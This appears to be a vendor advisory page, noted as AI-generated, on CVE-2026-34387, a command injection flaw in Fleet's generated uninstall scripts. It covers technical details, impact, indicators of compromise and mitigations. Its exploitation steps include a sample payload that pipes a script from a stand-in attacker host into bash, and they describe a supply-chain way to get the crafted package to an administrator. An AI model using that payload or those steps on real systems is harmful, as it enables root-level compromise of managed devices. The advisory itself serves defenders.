CVE-2026-34387
NixOS vulnerability analysis and mitigation

Overview

CVE-2026-34387 is an OS command injection vulnerability in Fleet, an open-source device management platform developed by FleetDM. The flaw exists in Fleet's software installer pipeline and allows an attacker to achieve arbitrary code execution as root (macOS/Linux) or SYSTEM (Windows) on managed hosts when an uninstall is triggered for a crafted software package. All Fleet versions prior to 4.81.1 are affected. The vulnerability was published on March 27, 2026, and patched in version 4.81.1. It carries a CVSS v3.1 base score of 9.8 (Critical) (GitHub Advisory, Red Hat CVE).

Technical details

The root cause is improper neutralization of special elements used in an OS command (CWE-78). When a software package is uploaded to Fleet, metadata such as package identifiers and product names is extracted from the binary and interpolated directly into auto-generated uninstall shell scripts without sanitization. An attacker can embed a malicious payload within the package metadata (e.g., via a supply-chain attack, typosquatted download, or compromised software mirror), which then executes with elevated privileges when the uninstall script runs on managed endpoints. Notably, the attacker does not need Fleet credentials — the Fleet administrator who uploads the crafted package is the unwitting enabler, not the direct target (GitHub Advisory).

Impact

Successful exploitation results in arbitrary code execution with the highest available system privileges — root on macOS and Linux, and SYSTEM on Windows — across all managed hosts that trigger the uninstall of the crafted package. This enables complete compromise of affected endpoints, including unauthorized data access, credential theft, system modification, installation of persistent backdoors, and potential lateral movement across the managed device fleet. The broad scope of impact is amplified by Fleet's role as a centralized device management platform, meaning a single malicious package upload could affect a large number of endpoints simultaneously (GitHub Advisory, Feedly).

Exploitability

As of the time of reporting, there is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation (Feedly). No threat actor attribution has been identified. The EPSS score is approximately 0.373%, indicating a low current probability of exploitation in the wild. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires convincing a Fleet administrator to upload a crafted package, introducing a social engineering or supply-chain dependency that somewhat limits opportunistic exploitation despite the critical CVSS v3.1 score.

Exploitation steps

  1. Craft a malicious package: Create a software package (e.g., a macOS .pkg, Windows .msi, or Linux package) with metadata fields — such as package identifier or product name — containing injected shell command payloads (e.g., ; curl http://attacker.com/shell.sh | bash ;).
  2. Deliver the package to a Fleet administrator: Use a supply-chain attack, typosquatting (mimicking a legitimate software package name), or a compromised software mirror to get the crafted package into the administrator's hands without raising suspicion.
  3. Administrator uploads the package to Fleet: The Fleet administrator uploads the malicious package through the Fleet UI or API. Fleet automatically extracts metadata and interpolates it unsanitized into auto-generated uninstall shell scripts.
  4. Trigger the uninstall: Wait for or socially engineer the administrator to trigger an uninstall of the package on managed hosts, or wait for a scheduled uninstall operation.
  5. Achieve code execution: The injected payload in the uninstall script executes on managed endpoints as root (macOS/Linux) or SYSTEM (Windows), enabling reverse shell establishment, data exfiltration, persistence mechanisms, or further lateral movement (GitHub Advisory).

Indicators of compromise

  • Logs: Fleet server logs showing upload of software packages from unverified or external sources; audit logs recording uninstall script generation and execution events on managed hosts.
  • Process: Unexpected child processes spawned during software uninstall operations on managed endpoints (e.g., curl, wget, bash, powershell, cmd.exe) with unusual arguments or network destinations.
  • Network: Outbound connections from managed hosts to unknown or suspicious IP addresses or domains immediately following a software uninstall event; DNS queries for attacker-controlled infrastructure.
  • File System: Unexpected files created in temporary directories or system paths during or after a software uninstall; new scheduled tasks, cron jobs, or startup entries created by the Fleet agent process or its child processes.
  • Fleet Platform: Auto-generated uninstall scripts containing unusual characters, semicolons, pipe operators, or encoded strings in metadata-derived fields (package identifiers, product names) (GitHub Advisory).

Mitigation and workarounds

Fleet has released version 4.81.1, which patches this vulnerability; all users should upgrade immediately (GitHub Advisory). If an immediate upgrade is not possible, the following interim mitigations are recommended:

  • Only upload software packages obtained from trusted, verified, and cryptographically signed sources.
  • Review package metadata (not just install/uninstall scripts) before uploading any package to Fleet.
  • Manually inspect and edit auto-generated uninstall scripts before deploying them to managed endpoints.
  • Restrict the software uninstall functionality within Fleet and implement strict access controls on who can upload packages or trigger uninstall operations.
  • Monitor managed hosts for suspicious uninstall-related activity and review logs for unauthorized package operations (GitHub Advisory, Red Hat CVE).

Community reactions

The vulnerability was responsibly disclosed by researcher @secfox-ai (credited as prateek-0490 on GitHub) and published by Fleet maintainer lukeheath via GitHub Security Advisories on March 27, 2026 (GitHub Advisory). Red Hat also tracked the CVE through their security advisory pipeline (Red Hat CVE). No significant broader media coverage or notable community commentary beyond standard vulnerability database aggregation has been identified at this time.

Additional resources


SourceThis report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86738CRITICAL9.3
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86734HIGH7.1
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86735MEDIUM5.9
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86737MEDIUM5.3
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026
CVE-2026-86736MEDIUM5.3
  • NixOS logoNixOS
  • snipe-it
NoYesSep 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management